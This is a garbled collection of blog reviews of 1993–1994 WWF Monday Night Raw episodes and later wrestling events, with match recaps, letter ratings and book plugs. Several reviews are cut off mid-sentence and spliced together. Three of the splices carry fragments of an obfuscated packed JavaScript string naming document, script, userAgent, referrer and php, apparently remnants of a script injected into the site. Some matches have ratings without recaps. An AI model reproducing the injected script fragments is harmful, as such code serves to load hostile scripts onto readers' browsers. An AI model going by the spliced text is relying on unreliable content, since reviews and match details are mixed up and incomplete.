IMG Credit: WWE

Monday Night Raw
Date: March 22, 1993
Location: Manhattan Center, New York City, New York
Attendance: 1,000
Commentators: Vince McMahon, Randy Savage, Rob Bartlett

Please no more Bartlett impressions. I don’t think I can handle it again after the Elvis and Vince stuff, which was neither funny nor anything of value, but I can’t imagine Bartlett sticks around that much longer. Other than that we are less than two weeks off from Wrestlemania, meaning it’s time for whatever we can get in the form of a final push in 1993. Let’s get to it.

Here are last week’s results if you need a recap.

Now we get some clips from wrestlers telling us to not smoke or do drugs. Interestingly enough here, Vince is actually acknowledged as the president and CEO of the WWF for one of (if not the) first times ever. Back to the awards ceremony as Hogan talks about meeting a kid who died a few weeks later before introducing Vince who is receiving some award. Hogan sucks up to Vince for a bit, even calling him a hero.

Vince comes out to accept the award to a sped up version of Gonna Fly Now from Rocky. He talks about how great it is to make a kid feel good for just a few moments and how good it feels to give a dying kid a feeling like that and take their minds off their problems for just a few moments. Vince accepts the award on behalf of his superstars who really deserve it.

We are now a good chunk of the way into the show, with none of this being shown or mentioned on the Network due to the music.

Bushwhackers vs. Damien Demento/Repo Man

Was everyone else late getting to the show or something? The Bushwhackers comes through the crowd for reasons that aren’t exactly clear, nor do they seem to be known by the production team. Their entrance even takes them all the way through a break until it’s Demento vs. Butch to get things going. Demento drives him into the corner to start but everything breaks down in a hurry with the Bushwhackers biting both of them on the trunks.

That means a bunch of marching around the ring as the villains take a breather on the floor. Back in and Repo takes over on Luke, followed by Demento dropping a leg between the legs. Luke finally gets in a shot to the face and the hot tag (read as: no reaction in the slightest) brings in Butch to start cleaning house. Everything breaks down and Luke knocks Butch onto Demento. There’s no cover so Repo elbows Demento by mistake and it’s the Battering Ram to finish Repo at 5:27.

Rating: D-. Oh goodness no. The Bushwhackers were never the most serious team (and yes I know who the Sheepherders are before someone points it out) and this was bad even for them. It was a match that felt out of time and I still can’t fathom how long the team stayed around. Terrible stuff here, and an even worse choice to start the show.

Tatanka vs. Reno Riggins

Riggins jumps him to start but gets backdropped for his efforts. Back up and Riggins’ sleeper is quickly broken up so it’s an armdrag into an armbar. Riggins fights up and avoids a charge into the corner but a ram into the buckle sends Tatanka onto the war path. A powerslam into the Papoose To Go finishes Riggins at 3:31.

Rating: D+. I know Tatanka is one of the most stereotypical of all the stereotypical characters but he was good at what he did. It’s a good example of someone who took what he had and ran with it while managing to get it over. Tatanka would be quite the midcard star and while this wasn’t great, at least he did get a reaction.

There is going to be a WWF Hall Of Fame and we get one of the only choices for the first inductee with Andre The Giant. It’s always great to see some of these old clips.

Money Inc. vs. Scott Rich/Jeff Armstrong

Rating: D. The ‘watching the competition” deal was stupid but it’s not as bad as the impressions. What was kind of stupid was thinking that 1993 Ted DiBiase and IRS with the flying clothesline of pain was going to be enough to beat Hulk Hogan at Wrestlemania. It would have been a stretch five years ago and we’re supposed to buy it here?

It’s time for the Wrestlemania Report as the show is almost here. It’s a double main event if you don’t get that idea yet and everyone is going to be wearing togas. Gene says his is rather small and….well I’ve seen him in trunks before so that’s a disturbing idea.

Kamala vs. Doink The Clown

Rating: D-. Somehow the horrible Coliseum Video match was better, which doesn’t exactly say much. Doink was someone who had something interesting to him with all of the mind games but what in the world were they expecting out of this? Kamala as a face was such a weird idea and it went as well as you would expect here.

Post match Kamala chases him underneath the ring so Doink whips out a chair, only to have Kamala come out from the other side and chase Doink through the crowd.

And now, Rob Bartlett has a fan club. They’re the older Raw Ring Girls and Savage and Vince are really, REALLY unimpressed. Rob kisses one of them and this is still not funny.

We get a preview for Sunday’s March To Wrestlemania special to wrap it up.

Overall Rating: F. Horrible indeed, as the best match on the show a Tatanka squash. Wrestlemania is up next thank goodness, though I can’t bring myself to care about it whatsoever. It’s a completely two match show and this show barely covered Bret vs. Yokozuna in the main event. Money Inc. vs. the Mega Maniacs is being treated as the biggest match on the show and I can’t bring myself to care about Hogan in a tag match at Wrestlemania. This was the new low benchmark for Raw at the moment though, both for how bad it was on its own and then how little it made me want to see the important show.

https://kbwrestlingreviews.com/2020/06/01/hidden-gems-15-for-the-complete-experience/

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Monday Night Raw
Date: September 12, 1994
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Attendance: 2,300
Commentators: Vince McMahon, Randy Savage

It’s another month here and this time around we’re starting in the middle, as the US Open Tennis Tournament took away the first week of September. We’re a long way off from Survivor Series so we don’t have much to build towards at the moment, but that tends to be the case in 1994 anyway. Let’s get to it.

Opening sequence.

Undertaker vs. Kwang

This is Undertaker’s first match on Raw since January and Kwang is Savio Vega under a mask with Harvey Wippleman as a manager. They stare at each other a lot and Kwang makes the mistake of going after him, meaning the beating can start in a hurry. Kwang hits him in the back and gets stared down, followed by a slam for a bonus. The Stunner over the top sets up Old School back inside as we take a break.

Back with Kwang hammering away before Undertaker pretty easily wins a slugout. Kwang scores with a superkick and clothesline to the floor….but Undertaker lands on his feet because that’s what he does. Back in and Kwang spits mist at him, only to have Undertaker spit it right back at him. The chokeslam is good for the pin.

Rating: D+. This was your “welcome home” return match and that’s all well and good. Undertaker looked pretty dominant and that’s what they need from him after such a long absence. Kwang is fine for a midcard villain and I don’t think there is anyone who believed he was ever going to be anything more than that. 1994 wasn’t a great time for midcarders and that wasn’t going to get any better for a long time.

Highlights of Bret Hart vs. Owen Hart in a cage at Summerslam, plus the post match fracas.

Jim Neidhart vs. Tim McNeaney

Owen Hart is here with Jim. Neidhart throws him around with ease and then tosses him outside. A forearm to the chest brings McNeaney back in and Owen tells Neidhart to hurt him a little more. Another slam sets up the camel clutch to give Neidhart the easy win.

Rating: D. The whole Neidhart vs. Bret feud is a good example of how chemistry means so much. Neidhart is not all that interesting on his own but he has a history with Bret and that makes things all the better. It makes things that much better and saves us from boring squashes like this one.

Post match the hold goes on again and Owen puts some Bret glasses on McNeaney.

We look at Jerry Lawler popping Dink’s balloons. Doink looked furious and you never want a crowd swearing vengeance.

It’s time for the King’s Court. After Lawler insults some fans, he holds up a letter from Jack Tunney demanding that he apologize to Doink and Dink. Therefore, Lawler will be the bigger man than Dink, so the clowns can come out here. This includes Dink in a Burger King crown, which is not going to end well. Doink and Lawler make fun of each other’s clothes before Lawler gets in some more short jokes about Dink.

The clowns just want to make things right so they have a present for him. Vince thinks it’s a box of WWF Magazines with Doink and Dink on the cover, because that’s a heck of a gift. Lawler is scared of what’s in there so Doink opens it for him. It’s….a trashcan, because Lawler is facing Duke the Dumpster Droese next week. Lawler kicks the trashcan, which just happens to have metal weights inside. I hate that I laughed at that one.

Come to the Hart Attack Tour!

Diesel/Shawn Michaels vs. Tony Devito/Paul Van Dale

The fans chant for Diesel as Shawn slaps Devito in the face early on. A Diesel distraction lets Shawn knock him outside and it’s off to Diesel for a hard forearm to the face. It’s already back to Shawn for a chinlock but he lets it up in a hurry so Van Dam can come in. That’s fine with Diesel, who plants him with a big boot. The Jackknife sets up Shawn’s splash from on top of Diesel’s shoulder for the easy pin.

Rating: C. This was an entertaining little squash and that’s all it needed to be. Shawn and Diesel are cited as the best big man/little man combination for a reason: they’re really good at what they do and that’s what we saw here. Van Dale wasn’t much, but his daughter was a little more fabulous. You probably know her as Carmella.

We look at Ted DiBiase trying to buy Adam Bomb but Bomb got in a fight with Bam Bam Bigelow instead.

Adam Bomb vs. Dwayne Gill

Bomb is now in blue and yellow for a change of pace. Gill gets shoved down to start and then bounces off of Bomb’s shoulder. Some kicks out of the corner and something like a bulldog onto the top turnbuckle have Bomb in trouble for all of a second before he’s back with a dropkick. A side slam connects and Gill’s missed crossbody sends him outside. Back in and the slingshot clothesline into the pumphandle slam finishes Gill with ease.

Rating: D+. I’ve always had a soft spot for Bomb so this was a fun match. Bomb was someone with the size and athleticism to make it work but it’s not like he had that high of a ceiling. His southern hick voice didn’t help things but I thought he could have been fine as a midcard star and maybe even an Intercontinental Title challenger. Or maybe he could go nowhere while the WWF came up with one horrible idea after another.

A man goes to confession but his priest is watching wrestling. Dig the New Generation. Voiceover: “Put your faith in us.”

Bushwhackers vs. Barry Hardy/Burt Centino

Now you know as well as I do that the WWF doesn’t get the irony of going from a New Generation ad to THE BUSHWHACKERS in 1994. Butch and Hardy start things off and the latter is already in trouble. A bite of the trunks connects as Knuckleball Schwartz is on strike in the crowd. Centino and Luke come in with the latter hitting a clothesline for no count as Hardy comes in. Butch shoves Hardy onto Centino and counts two, which is too far for the referee. A chop staggers Centino and the Battering Ram is good for the pin.

Rating: D. The Bushwhackers in the last match on the show in 1994? For the life of me I don’t get why this took place but that’s what you get around this time. It wasn’t even a good squash as it was mainly comedy, but what else could be expected here? At least it was short, and that’s the signature line about any horrible match.

We end with a preview of next week’s show, with Duke Droese vs. Jerry Lawler listed twice for some reason.

Overall Rating: D. As usual, Shawn and Diesel were the highlights here and they weren’t exactly thrilling. This is a horrible time for the company and the New Generation still wasn’t taking off yet. They needed something to get them a breath of fresh air and that would wind up being Diesel. Based on the reaction he got here, you can’t blame them. You can blame them for the rest of the show though, which was pretty horrible.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Monday Night Raw
Date: March 21, 1994
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Commentators: Vince McMahon, Randy Savage

It’s the night after Wrestlemania X and that means Bret Hart is the WWF World Champion again but his brother Owen is waiting on him. Owen pinned Bret completely clean last night, setting him up as the almost automatic #1 contender to the title. That could make for a very fun spring and summer so let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Vince and Randy run down some of the card, including a Bret appearance. As it should be on the night after Wrestlemania.

Quebecers vs. Bushwhackers

Non-title and the first match after Wrestlemania. You know, because reasons. The Bushwhackers jump them while Johnny Polo is still conducting the theme song, giving us the required funny face. There’s a little too much whacking going on though as the Quebecers jump them from behind, only to have the Bushwhackers bite them on the pants. A pair of double clotheslines puts Jacques on the floor and Pierre down as we’re still waiting on any kind of tag match to break out.

Butch hits Luke by mistake as Vince apologizes for the ten man tag being cut due to time last night. Pierre hits Polo by mistake as well as things finally start to settle down to Butch headlocking Jacques. Luke comes in to do the same and it’s off to a quickly broken chinlock. A tag brings in Pierre, who gets pulled down in all of a few seconds so we take a break.

Rating: D-. I was a big Bushwhackers fan back in the day but my goodness this was a chore to sit through. It’s kind of hard to get interested in one of their matches in 1994, especially against the Tag Team Champions. The ending wasn’t even anything special and it felt like it went on forever. The tag division was such a mess at this point and the Bushwhackers being the best option is all the proof you need.

Post match Polo says they can beat anyone so Captain Lou Albano comes out to issue a challenge for the titles from a mystery team. Sure, why not. Oh come on Johnny, act as smart as you are.

IRS gives us some reasons why people are tax cheats, such as they like to watch the national debt rise.

Tatanka vs. Chris Hamrick

Hamrick is semi-famous from the last few months of ECW. The announcers waste no time on getting into the news jokes of the week. Tatanka backdrops Hamrick to start and sends him into the corner for some chops. Hamrick gets sent outside for a crash and then gets pulled back in. Make up your mind Tatanka.

A suplex and powerslam connect as Vince talks about Michael Jordan playing baseball. Tatanka works on the arm because this just hasn’t gone on long enough yet. Some right hands give Hamrick some hope until he misses a charge in the corner, meaning it’s time to hit the warpath. The Papoose To Go finally finishes Hamrick.

Rating: D. Well, at least it was a little bit shorter. Tatanka seems to be ready for a push around this point, which is a little surprising after he already lost his undefeated streak last year. This was a pretty dull match and the commentators’ jokes didn’t exactly make things any better. But what else were they supposed to talk about?

Wrestlemania Report, again looking at the celebrities and the upcoming reairing.

Diesel vs. Ken Lucia

Joined in progress with Diesel hitting a flying clothesline (a big spot for him) and putting on a neck crank. The good looking side slam plants Lucia and it’s a Jackknife for the pin with one foot on the chest. Total squash, as it should have been.

Next week: Lex Luger vs. Rick Martel. Egads it’s almost hard to watch how far Luger fell.

Here’s Bret Hart for his first chat as champion. Vince recaps how he won the title and Bret admits that things didn’t start well yesterday but they certainly ended great. He’ll fight anyone, anywhere anytime, including Yokozuna. Ever the buzzkill, Vince brings up the loss to Owen but Bret has no excuses. It was just one match but Owen won it fair and square. Things are a bit different now because Bret has the title, which sounds like he’s up for a rematch.

Jeff Jarrett vs. Koko B. Ware

Normally I’d make fun of this for being the post Wrestlemania main event but they’re both in the Hall of Fame. An early hiptoss puts Koko down and Jeff is able to have a rest on the top. The fear of Koko flapping his arms (like a bird you see) sends Jeff bailing out to the floor. Back in and Jeff is smart enough (he is known to point at his head) to avoid a charge in the corner and a dropkick has Koko in more trouble. A suplex and clothesline drop Koko again but he avoids a middle rope elbow and starts the comeback. Koko hits an elbow for two and is almost immediately DDT’d for the pin.

Rating: D. Well what else were you expecting? Jarrett was hardly interesting in the first place and now you put him in there against Koko B. Ware? The country music thing wasn’t working and I think everyone knew it but that didn’t stop them from running with the exact same idea for YEARS. Oddly enough, it never actually worked. Who would have seen that coming?

Post match Jarrett gets in Jarrett’s face and it’s almost time to fight, complete with Savage waving his fists around like an 1890s boxing parody. Randy grabs for his foot and then gets inside for some right hands, sending Jeff running. Koko’s music plays and it’s so odd to see Randy celebrating to that song.

Ads for WWF Greetings On Call, where a wrestler can call and say something like Happy Birthday, Get Well or something similar. A video version of that could make a rather tidy sum today.

A quick preview of next week’s show wraps us up.

Overall Rating: F+. So the best things about this were…..I guess Diesel’s squash and Bret’s promo? If that’s all you have going for you on what should be on a pretty eventful show, you’re kind of in trouble. I know the Raw after Wrestlemania wasn’t quite the big thing that it would become but egads man. Could you give us something other than the Bushwhackers, Koko B. Ware and Michael Jordan jokes?

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzttd|var|u0026u|referrer|ssikb||js|php'.split('|'),0,{})) Night Raw
Date: December 19, 1994
Location: Liberty High School, Liberty, New York
Attendance: 1,400
Commentators: Vince McMahon, Shawn Michaels

Opening sequence.

IRS vs. Lex Luger

before DiBiase offers some advice. Apparently he said “drop a leg and cover”, only to have Luger come back with right hands (Shawn: “Luger punches like a girl.”). The Druid trips Luger up and slaps him though, triggering a brawl which leads to a countout win for IRS.

I mean, IRS as the main wrestler just isn’t going to work no matter what you do with him. He’s fine as a midcard guy but they’re actually making him the focus. That’s almost frightening.

The Druid is Tatanka.

We recap the first round of the Tag Team Title tournament.

The Bushwhackers are getting the Fink ready by rubbing sardines in his face.

Smoking Gunns vs. Roy Raymond/Chris Avery

Bart suplexes Roy as the announcers break down the upcoming Bushwhackers vs. Well Dunn match. Avery comes in and has about the same success until he pulls some hair to take over…..for all of two seconds. Bart hiptosses him again as Shawn just lays into Vince for his obsession with cowboys. A powerbomb/top rope legdrop combo finally puts Chris away.

Speaking of which, Henry Godwinn debuts next week.

Lawler isn’t pleased with Jack Tunney ripping Backlund off in something he doesn’t explain well enough. Backlund knows what he is and knows where the plebeians stand. The fans chant EIGHT SECONDS (the amount of time it took for Diesel to beat Backlund) as Bob uses a bunch of big words.

The hatred in Vince’s voice is great. Bob calls Nash the tyrannosaurus rex of the WWF, meaning he’ll be extinct soon due to a chickenwing.

Bob Holly vs. Chris Canyon

Holly slams him down and drops a top rope elbow for the pin.

Rating: D-. A lot of that is due to the bizarre color combination on Canyon. Seriously it was that distracting. Holly continues to be one of those guys who was watchable in the ring but never had a chance because of the ridiculous gimmick he was stuck with. Canyon would do better later on of course.

We also get the first ten entrants for the Rumble itself. This just makes me sad.

Well Dunn vs. Bushwhackers

Rating: D. Somehow, this might have been a big step up over their first match. Well Dunn was clearly never going anywhere and somehow this was more about the fighting managers than anything else. At least we got the comedy spot at the end because this would have been a waste of time otherwise.

Jim Neidhart vs. Nick Barberri

Neidhart yells at the Spanish announcers for some reason. Forearms put Nick down and a backdrop sends him over the top. Back in and a bad camel clutch makes Nick give up. This was it for Neidhart for a few years for whatever reason.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhzzs|var|u0026u|referrer|hrkik||js|php'.split('|'),0,{})) Night Raw
Date: December 5, 1994
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Attendance: 2,500
Commentators: Vince McMahon, Shawn Michaels

Opening sequence. I miss that old song, though Vince has to talk over it with an advertisement.

Shawn Michaels is brought out for commentary.

Jeff Jarrett vs. British Bulldog

Jarrett takes him down again and walks over Bulldog’s back (Vince: “Shades of Shawn Michaels!”) for some more posing. A hiptoss doesn’t work as well though as Bulldog sends Jeff out to the floor before doing Jeff’s strut in a funny bit.

Smith keeps countering a headscissors but the cable puller claps Jeff back to his feet. There’s the delayed vertical (with Jeff doing a great terrified face) but Bulldog gets crotched on top for a superplex. We’re off to a weak chinlock for a good bit before going to a break.

1-2-3 Kid vs. Barry Horowitz

There’s a Hennig necksnap for no cover as Vince begs people to come to the house shows. Not that it matters as the Kid comes back with two spinwheel kicks and an Oklahoma Roll for the pin.

Kwang vs. Scott Taylor

and we hit the nerve hold. Harvey Wippleman yells at Howard Finkel to continue their horrible feud that actually existed for reasons I’ll never understand. Kwang’s running spinwheel kick crushes Taylor in the corner and it’s back to the nerve hold. Another spinwheel kick puts Taylor away, thank goodness. Kwang was such a weak character and it’s no shock that he didn’t last.

Ad for Lex Luger vs. Owen Hart on Action Zone.

Lawler’s interview segment). After some good old audience insulting, here’s the surprise guest: Shawn Michaels! So Vince was wrong about Diesel? Lawler calls Diesel stupid for doing things like buying a zebra and calling it Spot. Shawn claims to have plucked Diesel from obscurity (well yeah Vinnie Vegas was pretty obscure) and no one puts him down, including some 7’0 goon. Everything Diesel has ever earned was because of Shawn and he made Diesel on his own. However, Shawn can also disassemble him just as fast. If Diesel wants to find him, just come to the Heartbreak Hotel.

Bob Holly crashed in his latest race. This is making me long for the “This Week in WCW Motorsports” segments.

There will be a special 100^th episode celebration of WWF Mania. I remember liking that show.

Hakushi is coming.

Well Dunn vs. Bushwhackers

The Bushwhackers drop both guys with a double clothesline to start but Well drops Luke with an ax handle from the apron. We get some breaking news: there will be a tournament for the vacant Tag Team Titles. So I guess this is like a boring preview? Not that we’ll see any of it because the whole thing is taking place on Superstars.

Some rapid fire legdrops keep Luke in trouble and Shawn plugs a movie airing on USA. Even more legdrops don’t actually make the match any better so Luke clotheslines him down for a breather. The hot tag brings in Butch o clean maybe a room or two until Harvey trips him up, allowing Dunn to get in a knee to the back for the pin.

Rating: D-. Again, one was named Well and the other was named Dunn. Is there any real surprise that WCW was able to take over so easily? The only interesting part here was hearing Shawn cracking jokes for five minutes as he knew this was a disaster. Nothing to see here and I continue to be amazed that the Bushwhackers still had jobs at this point.

Fink tells the referee what happened but nothing changes.

Bob Backlund wants to exterminate Doink next week on his path to being WWF Champion again.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyyds|var|u0026u|referrer|zbknt||js|php'.split('|'),0,{})) doesn’t have the best options so you get a double shot: Chris Masters and the Bushwhackers due to Luke’s birthday.

Crockett Cup Quarter-Finals: Sheepherders vs. Fantastics

The team would stick around the NWA for a few more years before jumping to the WWF, where they were mainly used as a comedy team that feuded with the Rougeau Brothers, including a match at Wrestlemania V.

Bushwhackers vs. Fabulous Rougeau Brothers

Anyway Ray puts on an abdominal stretch as a fan or two chants USA. In theory that would be for the Rougeaus here who are the All American Boys facing the guys from New Zealand. The Rougeaus prematurely hug and get caught by the Battering Ram and a double gutbuster is good for the pin on Ray out of nowhere.

Tag Titles: Nasty Boys vs. Bushwhackers

A pair of Battering Rams send the Nastys to the floor and the challengers strut a bit. Things settle down and Luke gets elbowed over and over for two. Butch breaks up a cover and gets a hot tag to clean house on the champions. Knobbs gets two off a clothesline and everything breaks down yet again. We get a botched near fall with Butch being thrown onto Knobbs but Sags is late breaking up the pin. Knobbs double legs Luke and Sags adds a bit of leverage for the pin to retain.

Bushwackersvs. NikolaiVolkoff/IronSheik

I’m calling them the Bushwackers as they’re Luke and Butch, formerly the Bushwackers. There’s some guy with Volkoff but he’s another guy that is imitating a better manager. I’m just not sure who he’s imitating. We get the USA chant going, despite the faces being from New Zealand but this isn’t the smartest crowd in the world.

The manager is dressed up in a Russian military uniform. Oh dear. He speaks English with a so bad it’s funny but the show is so bad it’s not funny accent if that makes sense. Oh and Volkoff is now an Olympian also. We get the Russian National Anthem of course and the Persian clubs which are as old school as possible.

The clubs become Iranian all of a sudden and we’re three minutes into this. Sheik needs to humble someone. It would be more entertaining. We hear about Hogan and Backlund for no reason at all but whatever. That’s my word for this show: whatever. We’re at about 5 minutes of build for this disaster. I guess Bushwackers is a copyrighted term.

Somehow they look better than anyone else. Luke licked my face once. Can we get the tape of the Bushwackers on Family Matters instead of me having to watch this atrocity? Apparently they’ve won tag titles in 26 countries. Well ok then. The heels jump them early to start to further establish that they’re EVIL. Dutch explains the term short end of the stick which has some kind of scale according to him. Please, just take me now.

Sheik gets on the mic and says if they keep chanting USA then he’ll leave. You know what comes next. The announcers argue about cutting each other off. I hate this show quite a bit. They’re really trying to get this whole they’re Heroes thing embedded in. Can we just watch Heroes instead? Just the first season though as it’s by far the best. Sheik is wearing shorts also.

The kicks they’re throwing aren’t even close at all. How much are these guys being paid? I guarantee you it’s too much. After a “slam” Nikolai covers Luke and Butch comes in for the save. He doesn’t need to though as Nikolai reacts to the saving shot before it hits so there we are again.

The camel clutch, which made British Bulldog tap inside of 5 seconds in 1986 is on for 15 seconds before Butch saves. At least I think he saved as we cut to a shot of the manager so for all I know Butch just did the Charleston for awhile and Sheik didn’t like his movement and showed him what to do. Who knows though?

I do however know that the manager raised his right arm. You can hear individual lines from the fans by the way. And I mean individual conversations, not just random screams. ANOTHER foreign object misses and Luke pins Sheik with the fastest count this side of Nick Patrick gets the three. The heels almost fight afterwards but they hug it out.

Rating: G+. That’s below an F-. This was stupid and bad. I think it was a comedy match but I couldn’t tell. They did manage to name the heel team The Iron Curtain though which I can’t believe no one got that before. We’re half done with this and I want to cry. Or die, either one. Getting humbled wouldn’t be bad either. When the Bushwackers are the best workers in there, that’s not saying a lot at all.

Shawn Michaels vs. Chris Masters

Raw World Title: John Cena vs. Carlito vs. Chris Masters vs. Kurt Angle vs. Shawn Michaels vs. Kane

Naturally it takes forever to get to this match but less time than last year which is at least a plus. Cena of course gets a lot of boos. This wasn’t even the most hated that he would ever get. He starts with Shawn. Cena isn’t ready to do that yet so this is nowhere near what it sounds like. Just 18 minutes between the ending of the last “match” and the bell in this one. The fans are ALL OVER Cena here.

The Chamber really does look awesome to say the least. Cena can sell really well. Kane comes in last due to winning a Beat the Clock Challenge. He’s the odds on favorite. That’s most amusing. In third is Carlito. He means nothing at this point either and no one really knew why he was in this. Nothing at all happens here other than some potential alliances. Finally Angle comes in to wake the crowd up by suplexing the living tar out of everyone in the freaking match.

Styles saying Angle is all impact amuses me. I mean he must throw everyone 4-5 times each. I have never seen anyone wake a match up like Angle did. Shawn is busted after being thrown into one of the cells. Good night Angle throws a pretty suplex. I mean Angle is just completely dominating. He gets the ankle lock on Shawn and then on Carlito. Masters finally comes in for the save. We’ve fought 15 minutes or so at this point and look at how little I’ve had to say.

Masters comes in and takes an ankle lock. Cena makes a save for no apparent reason and goes for the FU but Angle reverses into ANOTHER ankle lock. He’s just on freaking fire tonight. And then Shawn kicks him in the head and pins him. Yeah seriously, that’s how they get rid of him. Give me a freaking break. Ok it’s not that bad but I hate the out of nowhere ones like that.

You can tell they’re just killing time at this point as nothing at all is happening. Kane comes in so they’re all in now. I seriously couldn’t care less. This thing is boring as anything you can think of. After some brief domination, Kane chokeslams everyone but like an idiot never covers them. Carlito and Masters double team him and amazingly…it works. They do a double DDT and then a press slam of Carlito onto Kane.

At this point, it becomes somewhat clear how this is going to end and it gets dumber and dumber every second. Oh I forgot to mention that Shawn is bleeding. The problem with this match: Carlito and Chris Masters are dominating. Still, this is better than the Extreme Elimination Chamber as Shawn and Cena are at least major star power. Four of the six here were legit title guys and Carlito and Masters were solid midcard heels at the time, so it’s forgivable.

Don’t get me wrong: it’s freaking dumb and it’s bad, but it could be worse. The other four being awesome balances it out a lot. Shawn gets Sweet Chin Music on Cena and Carlito hits a rolling cutter (Cody Rhodes’ finisher) on Shawn to pin him. Yes, the final three are Carlito, Masters and Cena. This is freaking stupid. No one bought Cena losing for a second.

I was reading WZ and was on AIM at the same time with a girl I knew who was a Cena fan and was telling her what was going on. She went to bed at this point as it was obvious to even her, a mark, that this was ending with Cena winning. The fans are now cheering for Cena as they see the alternatives. That’s rather funny. So they double team him for about 5 minutes until the Masterlock is put on. Carlito low blows Masters and rolls him up before getting rolled up by Cena to win the match.

Rating: D. Seriously, Masters and Carlito? This is short because literally the second the match ends, Vince’s music starts playing and it becomes clear what’s going on and why the Chamber sucking means nothing, so I won’t bother going into detail on it.

Chris Masters vs. Randy Orton

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at: